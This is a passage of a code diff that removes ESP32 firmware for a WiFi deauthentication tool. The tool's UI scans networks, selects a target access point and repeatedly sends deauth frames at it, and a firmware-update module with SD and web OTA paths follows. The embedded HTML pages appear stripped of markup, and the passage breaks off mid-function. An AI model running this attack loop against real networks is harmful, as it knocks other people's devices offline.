: FeatureUI::ButtonStyle::Secondary; - FeatureUI::drawButtonRect(x, y, w, h, label, style, false, disabled); -} - -void drawTabBar(const char* leftButton, bool leftDisabled, const char* prevButton, bool prevDisabled, const char* nextButton, bool nextDisabled) { - - tft.fillRect(0, 304, SCREEN_WIDTH, 16, FEATURE_BG); - - if (leftButton[0]) { - drawButton(0, 304, 57, 16, leftButton, false, leftDisabled); - } - - if (prevButton[0]) { - drawButton(117, 304, 57, 16, prevButton, false, prevDisabled); - } - if (nextButton[0]) { - drawButton(177, 304, 57, 16, nextButton, false, nextDisabled); - } -} - -void drawScanScreen() { - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.setTextSize(1); - - if (scanning) { - tft.setCursor(10, 50); - tft.setTextColor(GREEN); - tft.println("Scanning..."); - loading(100, ORANGE, 0, 0, 3, true); - tft.setCursor(10, 65); - tft.println("Wait a moment."); - return; - } - - if (network_count == 0) { - tft.setTextColor(GREEN); - tft.setCursor(10, 50); - tft.println("No networks found."); - tft.setCursor(10, 65); - tft.println("Press Rescan."); - } else { - int y = 50; - tft.setTextColor(GREEN); - tft.setCursor(10, y); - tft.println("Networks:"); - y += 20; - - int start_index = current_page * networks_per_page; - int end_index = min(start_index + networks_per_page, network_count); - - for (int i = start_index; i < end_index && y < 300; i++) { - char buf[64]; - char ssid[12]; - strncpy(ssid, (char*)ap_list[i].ssid, 11); - ssid[11] = '\0'; - if (strlen((char*)ap_list[i].ssid) > 11) strcat(ssid, "..."); - const char* enc = ap_list[i].authmode == WIFI_AUTH_OPEN ? "OPEN" : "WPA2"; - snprintf(buf, sizeof(buf), "%02d: %-15s %3d dBm Ch%2d %s", i + 1, ssid, ap_list[i].rssi, ap_list[i].primary, enc); - tft.setCursor(10, y); - tft.setTextColor(i == selected_ap_index ? ORANGE : (ap_list[i].authmode == WIFI_AUTH_OPEN ? ORANGE : WHITE)); - tft.println(buf); - y += 15; - } - - char page_buf[20]; - snprintf(page_buf, sizeof(page_buf), "Page %d/%d", current_page + 1, (network_count + networks_per_page - 1) / networks_per_page); - tft.setCursor(180, 50); - tft.setTextColor(GREEN); - tft.println(page_buf); - } - - const char* leftButton = attack_running ? "Stop Attack" : "Rescan"; - bool leftDisabled = false; - const char* prevButton = "Prev"; - bool prevDisabled = attack_running || current_page == 0; - const char* nextButton = "Next"; - bool nextDisabled = attack_running || (current_page + 1) * networks_per_page >= network_count; - drawTabBar(leftButton, leftDisabled, prevButton, prevDisabled, nextButton, nextDisabled); -} - -bool scanNetworks() { - scanning = true; - current_page = 0; - drawScanScreen(); - WiFi.mode(WIFI_STA); - WiFi.disconnect(); - delay(100); - - network_count = WiFi.scanNetworks(); - if (network_count == 0) { - scanning = false; - return false; - } - - if (ap_list) free(ap_list); - ap_list = (wifi_ap_record_t *)malloc(network_count * sizeof(wifi_ap_record_t)); - if (!ap_list) { - scanning = false; - return false; - } - - for (int i = 0; i < network_count; i++) { - wifi_ap_record_t ap_record = {0}; - memcpy(ap_record.bssid, WiFi.BSSID(i), 6); - strncpy((char*)ap_record.ssid, WiFi.SSID(i).c_str(), sizeof(ap_record.ssid)); - ap_record.rssi = WiFi.RSSI(i); - ap_record.primary = WiFi.channel(i); - ap_record.authmode = WiFi.encryptionType(i); - ap_list[i] = ap_record; - } - - qsort(ap_list, network_count, sizeof(wifi_ap_record_t), compare_ap); - - scanning = false; - return true; -} - -bool checkApChannel(const uint8_t *bssid, uint8_t *channel) { - WiFi.mode(WIFI_STA); - WiFi.disconnect(); - delay(100); - - int n = WiFi.scanNetworks(); - for (int i = 0; i < n; i++) { - if (memcmp(WiFi.BSSID(i), bssid, 6) == 0) { - *channel = WiFi.channel(i); - WiFi.mode(WIFI_AP); - delay(100); - return true; - } - } - - WiFi.mode(WIFI_AP); - delay(100); - return false; -} - -void resetWifi() { - esp_wifi_stop(); - delay(200); - esp_wifi_start(); - delay(200); - packet_count = 0; - success_count = 0; - consecutive_failures = 0; -} - -void drawAttackScreen() { - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.setTextSize(1); - - char buf[64]; - tft.setTextColor(WHITE); - snprintf(buf, sizeof(buf), "Target: %s", selectedAp.ssid); - tft.setCursor(10, 50); - tft.println(buf); - - snprintf(buf, sizeof(buf), "BSSID: %02X:%02X:%02X:%02X:%02X:%02X", - selectedAp.bssid[0], selectedAp.bssid[1], selectedAp.bssid[2], - selectedAp.bssid[3], selectedAp.bssid[4], selectedAp.bssid[5]); - tft.setCursor(10, 70); - tft.println(buf); - - const char* auth; - switch (selectedAp.authmode) { - case WIFI_AUTH_OPEN: auth = "OPEN"; break; - case WIFI_AUTH_WPA_PSK: auth = "WPA-PSK"; break; - case WIFI_AUTH_WPA2_PSK: auth = "WPA2-PSK"; break; - case WIFI_AUTH_WPA_WPA2_PSK: auth = "WPA/WPA2-PSK"; break; - default: auth = "Unknown"; break; - } - snprintf(buf, sizeof(buf), "Auth: %s", auth); - tft.setCursor(10, 85); - tft.println(buf); - - tft.setCursor(10, 100); - tft.setTextColor(attack_running ? ORANGE : DARK_GRAY); - tft.println(attack_running ? "Status: Running" : "Status: Stopped"); - - snprintf(buf, sizeof(buf), "Packets: %u", packet_count); - tft.setCursor(10, 115); - tft.setTextColor(WHITE); - tft.println(buf); - - float success_rate = (packet_count > 0) ? (float)success_count / packet_count * 100 : 0; - snprintf(buf, sizeof(buf), "Success: %.2f%%", success_rate); - tft.setCursor(10, 130); - tft.println(buf); - - snprintf(buf, sizeof(buf), "Heap: %u", ESP.getFreeHeap()); - tft.setCursor(10, 145); - tft.println(buf); - - const char* buttons[] = {attack_running ? "Stop" : "Start", "Back"}; - drawTabBar(buttons[0], false, "", true, buttons[1], false); -} - -void handleTouch() { - int x, y; - if (!readTouchXY(x, y)) return; - - bool redraw = false; - if (selected_ap_index == -1) { - if (!scanning && y >= 60 && y < 270 && network_count > 0) { - int index = (y - 60) / 15 + (current_page * networks_per_page); - if (index >= 0 && index < network_count) { - selected_ap_index = index; - selectedAp = ap_list[index]; - selectedChannel = ap_list[index].primary; - drawScanScreen(); - delay(50); - drawAttackScreen(); - } - } else if (!scanning && y >= 290 && y <= 320) { - if (attack_running) { - if (x >= 0 && x <= 57) { - drawButton(0, 304, 57, 16, "Stop Attack", true, false); - attack_running = false; - last_packet_time = 0; - drawScanScreen(); - delay(50); - redraw = true; - } else if (x >= 122 && x <= 179) { - drawButton(122, 304, 57, 16, "Rescan", true, false); - delay(50); - if (scanNetworks()) { - drawScanScreen(); - } - redraw = true; - } - } else { - if (x >= 0 && x <= 57) { - drawButton(0, 304, 57, 16, "Rescan", true, false); - delay(50); - if (scanNetworks()) { - drawScanScreen(); - } - redraw = true; - } else if (x >= 122 && x <= 179) { - if (current_page > 0) { - drawButton(117, 304, 57, 16, "Prev", true, false); - current_page--; - drawScanScreen(); - delay(50); - redraw = true; - } - } else if (x >= 183 && x <= 240) { - if ((current_page + 1) * networks_per_page < network_count) { - drawButton(178, 304, 57, 16, "Next", true, false); - current_page++; - drawScanScreen(); - delay(50); - redraw = true; - } - } - } - } - } else { - if (y >= 290 && y <= 320) { - if (x >= 0 && x <= 57) { - drawButton(0, 304, 57, 16, attack_running ? "Stop" : "Start", true, false); - attack_running = !attack_running; - if (!attack_running) { - last_packet_time = 0; - } - drawAttackScreen(); - delay(50); - redraw = true; - } else if (x >= 183 && x <= 240) { - drawButton(177, 304, 57, 16, "Back", true, false); - attack_running = false; - last_packet_time = 0; - selected_ap_index = -1; - drawScanScreen(); - delay(50); - redraw = true; - } - } - } - - if (redraw) { - delay(100); - } -} - -static bool uiDrawn = false; - -void runUI() { -#define SCREEN_WIDTH 240 -#define SCREENHEIGHT 320 -#define STATUS_BAR_Y_OFFSET 20 -#define STATUS_BAR_HEIGHT 16 -#define ICON_SIZE 16 -#define ICON_NUM 2 - - static int iconX[ICON_NUM] = {220, 10}; - static int iconY = STATUS_BAR_Y_OFFSET; - - static const unsigned char* icons[ICON_NUM] = { - bitmap_icon_undo, - bitmap_icon_go_back - }; - - if (!uiDrawn) { - tft.fillRect(0, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH, STATUS_BAR_HEIGHT, DARK_GRAY); - for (int i = 0; i < ICON_NUM; i++) { - if (icons[i] != NULL) { - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); - } - } - tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); - uiDrawn = true; - } - - static unsigned long lastAnimationTime = 0; - static int animationState = 0; - static int activeIcon = -1; - static unsigned long lastSpamTime = 0; - - switch (animationState) { - case 0: - break; - - case 1: - if (millis() - lastAnimationTime >= 150) { - tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); - animationState = 2; - lastAnimationTime = millis(); - } - break; - - case 2: - if (millis() - lastAnimationTime >= 200) { - animationState = 3; - lastAnimationTime = millis(); - } - break; - - case 3: - switch (activeIcon) { - case 0: - scanNetworks(); - delay(50); - if (scanNetworks()) { - drawScanScreen(); - } - animationState = 0; - activeIcon = -1; - break; - } - break; - } - - static unsigned long lastTouchCheck = 0; - const unsigned long touchCheckInterval = 50; - - if (millis() - lastTouchCheck >= touchCheckInterval) { - int x, y; - if (feature_active && readTouchXY(x, y)) { - if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { - for (int i = 0; i < ICON_NUM; i++) { - if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { - if (icons[i] != NULL && animationState == 0) { - - if (i == 1) { - feature_exit_requested = true; - } else { - - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); - animationState = 1; - activeIcon = i; - lastAnimationTime = millis(); - } - } - break; - } - } - } - } - lastTouchCheck = millis(); - } -} - -void deautherSetup() { - - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - - setupTouchscreen(); - uiDrawn = false; - - float currentBatteryVoltage = readBatteryVoltage(); - drawStatusBar(currentBatteryVoltage, true); - runUI(); - - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - - tft.setTextColor(GREEN, BLACK); - tft.setTextSize(1); - tft.setCursor(10, 50); - tft.println("Initializing..."); - - attack_running = false; - selected_ap_index = -1; - current_page = 0; - scanning = false; - - int bgCount = WiFi.scanComplete(); - if (bgCount > 0) { - - if (ap_list) { - free(ap_list); - ap_list = nullptr; - } - - network_count = bgCount; - ap_list = (wifi_ap_record_t *)malloc(network_count * sizeof(wifi_ap_record_t)); - if (ap_list) { - for (int i = 0; i < network_count; i++) { - wifi_ap_record_t ap_record = {0}; - memcpy(ap_record.bssid, WiFi.BSSID(i), 6); - strncpy((char*)ap_record.ssid, WiFi.SSID(i).c_str(), sizeof(ap_record.ssid)); - ap_record.ssid[sizeof(ap_record.ssid) - 1] = '\0'; - ap_record.rssi = WiFi.RSSI(i); - ap_record.primary = WiFi.channel(i); - ap_record.authmode = WiFi.encryptionType(i); - ap_list[i] = ap_record; - } - - qsort(ap_list, network_count, sizeof(wifi_ap_record_t), compare_ap); - } else { - - network_count = 0; - } - } else { - - scanNetworks(); - } - - drawScanScreen(); - - drawScanScreen(); -} - -void deautherLoop() { - - if (feature_active && isButtonPressed(BTN_SELECT)) { - feature_exit_requested = true; - return; - } - - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - - handleTouch(); - updateStatusBar(); - runUI(); - - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - - uint32_t current_time = millis(); - if (attack_running && selected_ap_index != -1) { - uint32_t heap = ESP.getFreeHeap(); - if (heap < 80000) { - attack_running = false; - last_packet_time = 0; - drawAttackScreen(); - delay(3000); - return; - } - - if (consecutive_failures > 10) { - resetWifi(); - last_packet_time = 0; - delay(3000); - return; - } - - if (current_time - last_packet_time >= 100 && attack_running) { - wsl_bypasser_send_deauth_frame(&selectedAp, selectedChannel); - last_packet_time = current_time; - } - } - - static uint32_t last_channel_check = 0; - if (attack_running && current_time - last_channel_check > 15000) { - uint8_t new_channel; - if (checkApChannel(selectedAp.bssid, &new_channel)) { - if (new_channel != selectedChannel) { - selectedChannel = new_channel; - wifi_config_t ap_config = {0}; - strncpy((char*)ap_config.ap.ssid, "ESP32-DIV", sizeof(ap_config.ap.ssid)); - ap_config.ap.ssid_len = strlen("ESP32-DIV"); - strncpy((char*)ap_config.ap.password, "deauth123", sizeof(ap_config.ap.password)); - ap_config.ap.authmode = WIFI_AUTH_WPA2_PSK; - ap_config.ap.ssid_hidden = 0; - ap_config.ap.max_connection = 4; - ap_config.ap.beacon_interval = 100; - ap_config.ap.channel = selectedChannel; - ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &ap_config)); - - } - } - last_channel_check = current_time; - } - - static uint32_t last_status_time = 0; - if (attack_running && current_time - last_status_time > 2000) { - drawAttackScreen(); - last_status_time = current_time; - } - } -} - -namespace FirmwareUpdate { - -#define FIRMWARE_FILE "/firmware.bin" - -const char* host = "esp32"; - -#define SCREEN_WIDTH 240 -#define SCREEN_HEIGHT 320 - -#define BUTTON_WIDTH 230 -#define BUTTON_HEIGHT 20 -#define BUTTON1_X 5 -#define BUTTON1_Y 50 -#define BUTTON2_X 5 -#define BUTTON2_Y 80 - -#define TAB_BUTTON_WIDTH 57 -#define TAB_BUTTON_HEIGHT 16 -#define TAB_LEFT_X 0 -#define TAB_MIDDLE_X 117 -#define TAB_RIGHT_X 177 -#define TAB_Y 304 - -#define TS_MIN_X 300 -#define TS_MAX_X 3800 -#define TS_MIN_Y 300 -#define TS_MAX_Y 3800 - -#define NETWORKS_PER_PAGE 15 -#define NETWORK_Y_START 70 -#define NETWORK_ROW_HEIGHT 15 - -#define PASSWORD_MAX_LENGTH 32 -#define KEY_WIDTH 20 -#define KEY_HEIGHT 20 -#define KEY_SPACING 2 -#define KEYBOARD_Y_OFFSET_START 60 - -WebServer server(80); - -char selectedSSID[32] = ""; -char wifiPassword[PASSWORD_MAX_LENGTH + 1] = ""; - -typedef struct { - char ssid[32]; - int8_t rssi; - uint8_t channel; - uint8_t authmode; -} NetworkInfo; - -const char* keyboardLayout[] = { - "1234567890", - "QWERTYUIOP", - "ASDFGHJKL", - "ZXCVBNM!@#" -}; - -void drawButton(int x, int y, int w, int h, const char* label, bool highlight, bool disabled); -void drawTabBar(const char* leftButton, bool leftDisabled, const char* prevButton, bool prevDisabled, const char* nextButton, bool nextDisabled); -void drawMenu(); -bool checkButton(int16_t x, int16_t y, int buttonX, int buttonY, int buttonW, int buttonH); -static void waitForTouchXY(int& x, int& y); -void performSDUpdate(); -void drawNetworkList(int, int, NetworkInfo*, int); -bool selectWiFiNetwork(); -void drawInputField(); -void drawKeyboard(); -bool enterWiFiPassword(); -void performWebOTAUpdate(); - -const char* loginIndex = R"( - - - - - - ESP32 Login Page - - - -
-

ESP32 Login Page

-
-
- - -
-
- - -
- -
-
- - - -)"; - -const char* serverIndex = R"( - - - - - - ESP32 Firmware Update - - - - -
-

Firmware Update

-
-
- -
- -
-
-
progress: 0%
-
-
- - - -)"; - -static bool uiDrawn = false; - -void runUI() { -#define SCREEN_WIDTH 240 -#define SCREENHEIGHT 320 -#define STATUS_BAR_Y_OFFSET 20 -#define STATUS_BAR_HEIGHT 16 -#define ICON_SIZE 16 -#define ICON_NUM 1 - - static int iconX[ICON_NUM] = {10}; - static int iconY = STATUS_BAR_Y_OFFSET; - - static const unsigned char* icons[ICON_NUM] = { - bitmap_icon_go_back - }; - - if (!uiDrawn) { - tft.fillRect(0, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH, STATUS_BAR_HEIGHT, DARK_GRAY); - for (int i = 0; i < ICON_NUM; i++) { - if (icons[i] != NULL) { - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); - } - } - tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); - uiDrawn = true; - } - - static unsigned long lastAnimationTime = 0; - static int animationState = 0; - static int activeIcon = -1; - static unsigned long lastSpamTime = 0; - - switch (animationState) { - case 0: - break; - - case 1: - if (millis() - lastAnimationTime >= 150) { - tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); - animationState = 2; - lastAnimationTime = millis(); - } - break; - - case 2: - if (millis() - lastAnimationTime >= 200) { - animationState = 3; - lastAnimationTime = millis(); - } - break; - - case 3: - switch (activeIcon) { - case 0: - feature_exit_requested = true; - animationState = 0; - activeIcon = -1; - break; - } - break; - } - - static unsigned long lastTouchCheck = 0; - const unsigned long touchCheckInterval = 50; - - if (millis() - lastTouchCheck >= touchCheckInterval) { - int x, y; - if (feature_active && readTouchXY(x, y)) { - if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { - for (int i = 0; i < ICON_NUM; i++) { - if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { - if (icons[i] != NULL && animationState == 0) { - - feature_exit_requested = true; - } - break; - } - } - } - } - lastTouchCheck = millis(); - } -} - -void drawButton(int x, int y, int w, int h, const char* label, bool highlight, bool disabled) { - - FeatureUI::ButtonStyle style = highlight ? FeatureUI::ButtonStyle::Primary - : FeatureUI::ButtonStyle::Secondary; - FeatureUI::drawButtonRect(x, y, w, h, label, style, false, disabled); -} - -void drawTabBar(const char* leftButton, bool leftDisabled, const char* prevButton, bool prevDisabled, const char* nextButton, bool nextDisabled) { - - tft.fillRect(0, TAB_Y, SCREEN_WIDTH, TAB_BUTTON_HEIGHT, FEATURE_BG); - - if (leftButton[0]) { - drawButton(TAB_LEFT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT, leftButton, false, leftDisabled); - } - if (prevButton[0]) { - drawButton(TAB_MIDDLE_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT, prevButton, false, prevDisabled); - } - if (nextButton[0]) { - drawButton(TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT, nextButton, false, nextDisabled); - } -} - -void drawMenu() { - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - - tft.setTextSize(1); - - drawButton(BUTTON1_X, BUTTON1_Y, BUTTON_WIDTH, BUTTON_HEIGHT, "SD Update", false, false); - drawButton(BUTTON2_X, BUTTON2_Y, BUTTON_WIDTH, BUTTON_HEIGHT, "Web OTA", false, false); - -} - -bool checkButton(int16_t x, int16_t y, int buttonX, int buttonY, int buttonW, int buttonH) { - return (x > buttonX && x < buttonX + buttonW && y > buttonY && y < buttonY + buttonH); -} - -static void waitForTouchXY(int& x, int& y) { - while (!readTouchXY(x, y)) { - delay(10); - } - - delay(80); -} - -int yshift = 40; - -void performSDUpdate() { - updateStatusBar(); - runUI(); - uiDrawn = false; - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.setCursor(10, 10 + yshift); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setTextSize(1); - tft.println("SD Update"); - tft.setTextColor(TFT_GREEN, TFT_BLACK); - tft.setCursor(10, 30 + yshift); - tft.println("Insert SD card with"); - tft.setCursor(10, 40 + yshift); - tft.println("firmware.bin in root"); - tft.setCursor(10, 50 + yshift); - tft.println("Touch Start to update"); - - drawTabBar("Start", false, "", false, "Back", false); - - bool waitingForStart = true; - - while (waitingForStart) { - int x, y; - if (readTouchXY(x, y)) { - if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { - drawMenu(); - return; - } - if (checkButton(x, y, TAB_LEFT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { - waitingForStart = false; - } - delay(50); - } - } - - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.setCursor(10, 10 + yshift); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setTextSize(1); - tft.println("Starting SD Update..."); - drawTabBar("", false, "", false, "Back", false); - - bool proceed = true; - while (proceed) { - int x, y; - if (readTouchXY(x, y)) { - if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { - drawMenu(); - return; - } - delay(50); - } - - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setCursor(10, 30 + yshift); - tft.println("Initializing SD..."); - - bool ok = false; - #ifdef SD_CS - ok = SD.begin(SD_CS); - #endif - #ifdef SD_CS_PIN - if (!ok) { - #ifdef CC1101_CS - if (SD_CS_PIN != CC1101_CS) ok = SD.begin(SD_CS_PIN); - #else - ok = SD.begin(SD_CS_PIN); - #endif - } - #endif - if (!ok) { - tft.setTextColor(UI_WARN, TFT_BLACK); - tft.setCursor(10, 40 + yshift); - tft.println("X SD init failed!"); - tft.setCursor(10, 50 + yshift); - tft.println("Touch to retry or Back"); - int x, y; - waitForTouchXY(x, y); - if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { - drawMenu(); - return; - } - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.setCursor(10, 10 + yshift); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.println("Starting SD Update..."); - drawTabBar("", false, "", false, "Back", false); - continue; - } - tft.setTextColor(TFT_GREEN, TFT_BLACK); - tft.setCursor(10, 40 + yshift); - tft.println("SD card OK"); - - if (!SD.exists(FIRMWARE_FILE)) { - tft.setTextColor(UI_WARN, TFT_BLACK); - tft.setCursor(10, 30 + yshift); - tft.println("X Firmware not found!"); - tft.setCursor(10, 40 + yshift); - tft.println("Touch to retry or Back"); - int x, y; - waitForTouchXY(x, y); - if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { - drawMenu(); - return; - } - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.setCursor(10, 10 + yshift); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.println("Starting SD Update..."); - drawTabBar("", false, "", false, "Back", false); - continue; - } - - File firmwareFile = SD.open(FIRMWARE_FILE, FILE_READ); - if (!firmwareFile) { - tft.setTextColor(UI_WARN, TFT_BLACK); - tft.setCursor(10, 30 + yshift); - tft.println("X File open failed!"); - tft.setCursor(10, 40 + yshift); - tft.println("Touch to retry or Back"); - int x, y; - waitForTouchXY(x, y); - if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { - drawMenu(); - return; - } - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.setCursor(10, 10 + yshift); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.println("Starting SD Update..."); - drawTabBar("", false, "", false, "Back", false); - continue; - } - - size_t fileSize = firmwareFile.size(); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setCursor(10, 50 + yshift); - tft.printf("Size: %u bytes\n", fileSize); - if (!Update.begin(fileSize)) { - tft.setTextColor(UI_WARN, TFT_BLACK); - tft.setCursor(10, 30 + yshift); - tft.println("X Update init failed!"); - tft.setCursor(10, 40 + yshift); - tft.println("Touch to retry or Back"); - int x, y; - waitForTouchXY(x, y); - if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { - drawMenu(); - return; - } - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.setCursor(10, 10 + yshift); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.println("Starting SD Update..."); - drawTabBar("", false, "", false, "Back", false); - continue; - } - - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setCursor(10, 60 + yshift); - tft.println("Updating..."); - size_t written = Update.writeStream(firmwareFile); - if (written != fileSize) { - tft.setTextColor(UI_WARN, TFT_BLACK); - tft.setCursor(10, 30 + yshift); - tft.println("X Update failed!"); - tft.setCursor(10, 40 + yshift); - tft.println("Touch to retry or Back"); - int x, y; - waitForTouchXY(x, y); - if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { - drawMenu(); - return; - } - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.setCursor(10, 10 + yshift); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.println("Starting SD Update..."); - drawTabBar("", false, "", false, "Back", false); - continue; - } - - tft.setTextColor(TFT_GREEN, TFT_BLACK); - tft.setCursor(10, 20 + yshift); - tft.println("Update OK!"); - if (Update.end(true)) { - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setCursor(10, 30 + yshift); - tft.println("Rebooting..."); - delay(2000); - ESP.restart(); - } else { - tft.setTextColor(UI_WARN, TFT_BLACK); - tft.setCursor(10, 30 + yshift); - tft.println("X Finalize failed!"); - tft.setCursor(10, 40 + yshift); - tft.println("Touch to retry or Back"); - int x, y; - waitForTouchXY(x, y); - if (checkButton(x, y, TAB_RIGHT_X, TAB_Y, TAB_BUTTON_WIDTH, TAB_BUTTON_HEIGHT)) { - drawMenu(); - return; - } - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.setCursor(10, 10 + yshift); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.println("Starting SD Update..."); - drawTabBar("", false, "", false, "Back", false); - continue; - } - proceed = false; - } -} - -bool selectWiFiNetwork() { - uiDrawn = false; - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - tft.setCursor(10, 50); - tft.setTextColor(GREEN); - tft.setTextSize(1); - tft.println("Scanning..."); - WiFi.mode(WIFI_STA); - WiFi.disconnect(); - delay(100); - - int numNetworks = WiFi.scanNetworks(); - if (numNetworks <= 0) { - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - tft.setTextColor(GREEN); - tft.setCursor(10, 50); - tft.println("No networks found."); - tft.setCursor(10, 60); - tft.println("Touch to retry"); - drawTabBar("Rescan", false, "", true, "", true); - int x, y; - while (!readTouchXY(x, y)) { - delay(10); - } - delay(200); - if (x >= TAB_LEFT_X && x < TAB_LEFT_X + TAB_BUTTON_WIDTH && y >= TAB_Y && y < TAB_Y + TAB_BUTTON_HEIGHT) { - return selectWiFiNetwork(); - } - return false; - } - - NetworkInfo* networks = new NetworkInfo[numNetworks]; - for (int i = 0; i < numNetworks; i++) { - strncpy(networks[i].ssid, WiFi.SSID(i).c_str(), 31); - networks[i].ssid[31] = '\0'; - networks[i].rssi = WiFi.RSSI(i); - networks[i].channel = WiFi.channel(i); - networks[i].authmode = WiFi.encryptionType(i); - } - - int startIndex = 0; - int selectedIndex = -1; - bool selected = false; - while (!selected) { - drawNetworkList(startIndex, numNetworks, networks, selectedIndex); - int x, y; - while (!readTouchXY(x, y)) { - delay(10); - } - delay(200); - - int y_pos = NETWORK_Y_START; - int end_index = min(startIndex + NETWORKS_PER_PAGE, numNetworks); - for (int i = startIndex; i < end_index && y_pos < 300; i++) { - if (x >= 10 && x < SCREEN_WIDTH - 10 && y >= y_pos && y < y_pos + NETWORK_ROW_HEIGHT) { - char buf[64]; - char ssid[12]; - strncpy(ssid, networks[i].ssid, 11); - ssid[11] = '\0'; - if (strlen(networks[i].ssid) > 11) strcat(ssid, "..."); - const char* enc = networks[i].authmode == WIFI_AUTH_OPEN ? "OPEN" : "WPA2"; - snprintf(buf, sizeof(buf), "%02d: %-15s %3d dBm Ch%2d %s", i + 1, ssid, networks[i].rssi, networks[i].channel, enc); - tft.setTextColor(ORANGE, TFT_BLACK); - tft.setTextSize(1); - tft.setCursor(10, y_pos); - tft.println(buf); - delay(100); - tft.setTextColor(i == selectedIndex ? ORANGE : (networks[i].authmode == WIFI_AUTH_OPEN ? ORANGE : TFT_WHITE), TFT_BLACK); - tft.setCursor(10, y_pos); - tft.println(buf); - selectedIndex = i; - strncpy(selectedSSID, networks[i].ssid, 31); - selectedSSID[31] = '\0'; - selected = true; - break; - } - y_pos += NETWORK_ROW_HEIGHT; - } - - if (x >= TAB_LEFT_X && x < TAB_LEFT_X + TAB_BUTTON_WIDTH && y >= TAB_Y && y < TAB_Y + TAB_BUTTON_HEIGHT) { - delete[] networks; - return selectWiFiNetwork(); - } - if (x >= TAB_MIDDLE_X && x < TAB_MIDDLE_X + TAB_BUTTON_WIDTH && y >= TAB_Y && y < TAB_Y + TAB_BUTTON_HEIGHT && startIndex > 0) { - startIndex -= NETWORKS_PER_PAGE; - selectedIndex = -1; - } - if (x >= TAB_RIGHT_X && x < TAB_RIGHT_X + TAB_BUTTON_WIDTH && y >= TAB_Y && y < TAB_Y + TAB_BUTTON_HEIGHT && startIndex + NETWORKS_PER_PAGE < numNetworks) { - startIndex += NETWORKS_PER_PAGE; - selectedIndex = -1; - } - if (x >= 0 && x < 30 && y >= 10 && y < 30) { - wifiPassword[0] = '\0'; - return false; - } - } - - delete[] networks; - return true; -} - -void drawNetworkList(int startIndex, int numNetworks, NetworkInfo* networks, int selectedIndex) { - uiDrawn = false; - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - 